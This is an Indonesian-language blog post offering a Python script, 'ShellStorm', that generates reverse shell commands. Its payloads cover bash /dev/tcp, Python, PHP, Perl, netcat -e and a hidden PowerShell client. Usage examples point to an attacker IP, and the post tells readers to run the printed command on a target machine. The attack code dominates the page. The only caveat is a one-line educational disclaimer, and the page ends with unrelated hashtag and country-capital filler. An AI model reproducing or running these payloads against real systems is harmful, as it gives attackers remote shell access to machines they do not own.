ShellStorm Reverse shell generator A customization from saf2/tools/auto_gen-reverse-tcp
Oleh
chmood
ShellStorm Reverse Shell Generator adalah sebuah alat yang memungkinkan pengguna untuk dengan cepat menghasilkan perintah reverse shell untuk berbagai bahasa dan lingkungan, yang kemudian dapat digunakan untuk mendapatkan akses shell ke sistem target dari jarak jauh.
Berikut adalah contoh sederhana bagaimana Anda bisa membuat generator reverse shell menggunakan Python.
Skrip ini menerima alamat IP, port, dan jenis shell sebagai parameter dan menghasilkan perintah yang sesuai.
Skrip Python untuk Generator Reverse Shell
```python
import sys
def generate_reverse_shell(ip, port, shell_type):
shells = {
'bash': f'bash -i >& /dev/tcp/{ip}/{port} 0>&1',
'python': f'python -c \'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/bash")\'',
'php': f'php -r \'$sock=fsockopen("{ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");\'',
'perl': f'perl -e \'use Socket;$i="{ip}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};\'',
'nc': f'nc -e /bin/sh {ip} {port}',
'powershell': f'powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()'
}
return shells.get(shell_type, 'Unsupported shell type')
def main():
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <ip> <port> <shell_type>")
print("Supported shell types: bash, python, php, perl, nc, powershell")
sys.exit(1)
ip = sys.argv[1]
port = int(sys.argv[2])
shell_type = sys.argv[3]
reverse_shell = generate_reverse_shell(ip, port, shell_type)
if reverse_shell == 'Unsupported shell type':
print(f"Error: {shell_type} is not a supported shell type.")
print("Supported shell types: bash, python, php, perl, nc, powershell")
else:
print(reverse_shell)
if __name__ == "__main__":
main()
```
Cara Menggunakan Skrip Ini:
1. Simpan Skrip:
Simpan skrip Python di atas sebagai `reverse_shell_generator.py`.
2. Jalankan Skrip:
Buka terminal dan jalankan skrip dengan IP, port, dan jenis shell yang diinginkan.
Contoh:
```sh
python reverse_shell_generator.py 192.168.1.100 4444 bash
```
Jenis Shell yang Didukung:
- `bash`: Menghasilkan shell reverse Bash.
- `python`: Menghasilkan shell reverse Python.
- `php`: Menghasilkan shell reverse PHP.
- `perl`: Menghasilkan shell reverse Perl.
- `nc`: Menghasilkan shell reverse Netcat.
- `powershell`: Menghasilkan shell reverse PowerShell (cocok untuk target Windows).
Contoh Penggunaan:
```sh
python reverse_shell_generator.py 192.168.1.100 4444 python
```
Perintah di atas akan menghasilkan dan mencetak perintah shell reverse Python yang akan menghubungkan kembali ke mesin penyerang di alamat IP `192.168.1.100` pada port `4444`.
Output:
```sh
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
```
Anda dapat menjalankan perintah yang dicetak pada mesin target untuk membangun koneksi shell reverse.
Skrip ini memungkinkan Anda dengan mudah menghasilkan berbagai perintah shell reverse dengan menentukan alamat IP, port, dan jenis shell sebagai argumen baris perintah.
Perintah yang dihasilkan kemudian dapat dijalankan pada mesin target untuk membangun koneksi shell reverse kembali ke mesin penyerang.
Proyek ini dibuat untuk tujuan pendidikan dan tidak boleh digunakan di lingkungan tanpa izin hukum.
#Unduh #Tautan: ShellStorm
Tautan ke artikel ini: https://www.75n1.net
Terima kasih!
Semua artikel sumber daya di situs ini dikumpulkan dan dikompilasi dari Internet. Situs ini tidak berpartisipasi dalam produksi. Jika melanggar hak dan kepentingan sah Anda, silakan hubungi situs ini dan kami akan menghapusnya tepat waktu.
Sumber daya yang dipublikasikan di situs ini berasal dari Internet, dan mungkin pengalihan lalu lintas dan informasi lainnya.
Pengguna diminta untuk tetap membuka mata untuk mengidentifikasi mereka dan menjadi pengguna dengan pendapat dan penilaian independen.
Sumber daya di situs ini hanya untuk penelitian, pembelajaran, dan komunikasi.
Jika digunakan untuk tujuan komersial, silakan beli lisensi asli, jika tidak, semua konsekuensi akan ditanggung oleh pengguna yang mengunduh.
Email kontak : [email protected]
#Metaverse #Ai #Computer Science #Artificial Intelligence #businessman #Download #technology #free dollar #business every day #motivation #cybersecurity #cybersecurityawareness #security #informationsecurity #datasecurity #hacking #threat #infosecurity #technology #cloud #computerscience #informationtechnology #social #tech #android #bugbounty #OSINT #bug
#Negara:
#Ekuador - Quito
#El Salvador - San Salvador
#Estonia - Tallinn
#Eswatini - Mbabane, Lobamba
#Fiji - Suva
#Filipina - Manila
#Finlandia - Helsinki
#Gabon - Libreville
#Gambia - Banjul
#Georgia - Tbilisi
#Ghana - Accra
#Grenada - Saint George's
#Guatemala - Kota Guatemala
#Guinea - Conakry
#Guinea-Bissau - Bissau
#Guyana - Georgetown
#Haiti - Port-au-Prince
#Honduras - Tegucigalpa
#Hongaria - Budapest
#India - New Delhi
#Indonesia - Jakarta
#Inggris - London
#Irak - Baghdad
#Iran - Tehran
#Irlandia - Dublin
#Islandia - Reykjavik
#Israel - Yerusalem
#Italia - Roma
#Jamaika - Kingston
#Jepang - Tokyo
#Jerman - Berlin
#Yaman - Sana'a
#Yordania - Amman
#Kaledonia Baru - Noumea
#Kamerun - Yaounde
#Kanada - Ottawa
#Kap Verde - Praia
#Kazakhstan - Nur-Sultan
#Kenya - Nairobi
#Kirgizstan - Bishkek
#Kiribati - Tarawa
#Kolombia - Bogota
#Komoro - Moroni
#Kongo - Brazzaville
#Kosta Rika - San Jose
#Kroasia - Zagreb
#Kuba - Havana
#Kuwait - Kuwait City
#Laos - Vientiane
#Latvia - Riga
#Lebanon - Beirut
#Lesotho - Maseru
#Liberia - Monrovia
#Libia - Tripoli
#Liechtenstein - Vaduz
#Lituania - Vilnius
#Luksemburg - Luksemburg
#Madagaskar - Antananarivo
#Maladewa - Male
#Malawi - Lilongwe
#Malaysia - Kuala Lumpur
#Mali - Bamako
#Malta - Valletta
#Maroko - Rabat
#Mauritania - Nouakchott
#Mauritius - Port Louis
#Meksiko - Mexico City
#Mesir - Kairo
#Mikronesia - Palikir
#Moldova - Chisinau
#Monako - Monako
#Mongolia - Ulan Bator
#Montenegro - Podgorica
#Mozambik - Maputo
#Myanmar (Burma) - Naypyidaw
#Namibia - Windhoek
#Nauru - Yaren
#Nepal - Kathmandu
#Niger - Niamey
#Nigeria - Abuja
#Nikaragua - Managua
#Norwegia - Oslo
#Oman - Muscat
#Pakistan - Islamabad
#Palau - Ngerulmud
#Palestina - Jerusalem
#Panama - Panama City
#Papua Nugini - Port Moresby
#Paraguay - Asuncion
#Peru - Lima
#Polandia - Warsaw
#Portugal - Lisbon
#Prancis - Paris
#Qatar - Doha
#Republik Afrika Tengah - Bangui
#Republik Ceko - Praha
#Republik Dominika - Santo Domingo
#Rumania - Bucharest
#Rusia - Moscow
#Rwanda - Kigali
#Saint Kitts dan Nevis - Basseterre
#Saint Lucia - Castries
#Saint Vincent dan Grenadines - Kingstown
#Samoa - Apia
#San Marino - San Marino
#Sao Tome dan Principe - Sao Tome
#Selandia Baru - Wellington
#Senegal - Dakar
#Serbia - Belgrade
#Seychelles - Victoria
#Sierra Leone - Freetown
#Singapura - Singapura
#Slovakia - Bratislava
#Slovenia - Ljubljana
#Solomon Islands - Honiara
#Somalia - Mogadishu
#Spanyol - Madrid
#Sri Lanka - Colombo
#Sudan - Khartoum
#Sudan Selatan - Juba
#Suriah - Damascus
#Suriname - Paramaribo
#Swedia - Stockholm
#Swiss - Bern
#Tadjikistan - Dushanbe
#Taiwan - Taipei
#Tanzania - Dodoma
#Thailand - Bangkok
#Timor Leste - Dili
#Togo - Lome
#Tonga - Nuku'alofa
#Trinidad dan Tobago - Port of Spain
#Tunisia - Tunis
#Turki - Ankara
#Turkmenistan - Ashgabat
#Tuvalu - Funafuti
#Uganda - Kampala
#Ukraina - Kiev
#Uni Emirat Arab - Abu Dhabi
#Uruguay - Montevideo
#Uzbekistan - Tashkent
#Vanuatu - Port Vila
#Venezuela - Caracas
#Vietnam - Hanoi
#Yordania - Amman
#Yunani - Athena
#Zambia - Lusaka
#Zimbabwe - Harare
#Kosovo - Pristina
#Timor-Leste - Dili
#Negara Federasi Mikronesia - Palikir
#Palau - Ngerulmud
#Sahrawi Arab Democratic Republic - El Aaiun
#Kepulauan Marshall - Majuro
#Vatikan - Vatikan City
#Kepulauan Solomon - Honiara
#Kiribati - Tarawa
#Nauru - Yaren
#Samoa - Apia
#Tonga - Nuku'alofa
Komentar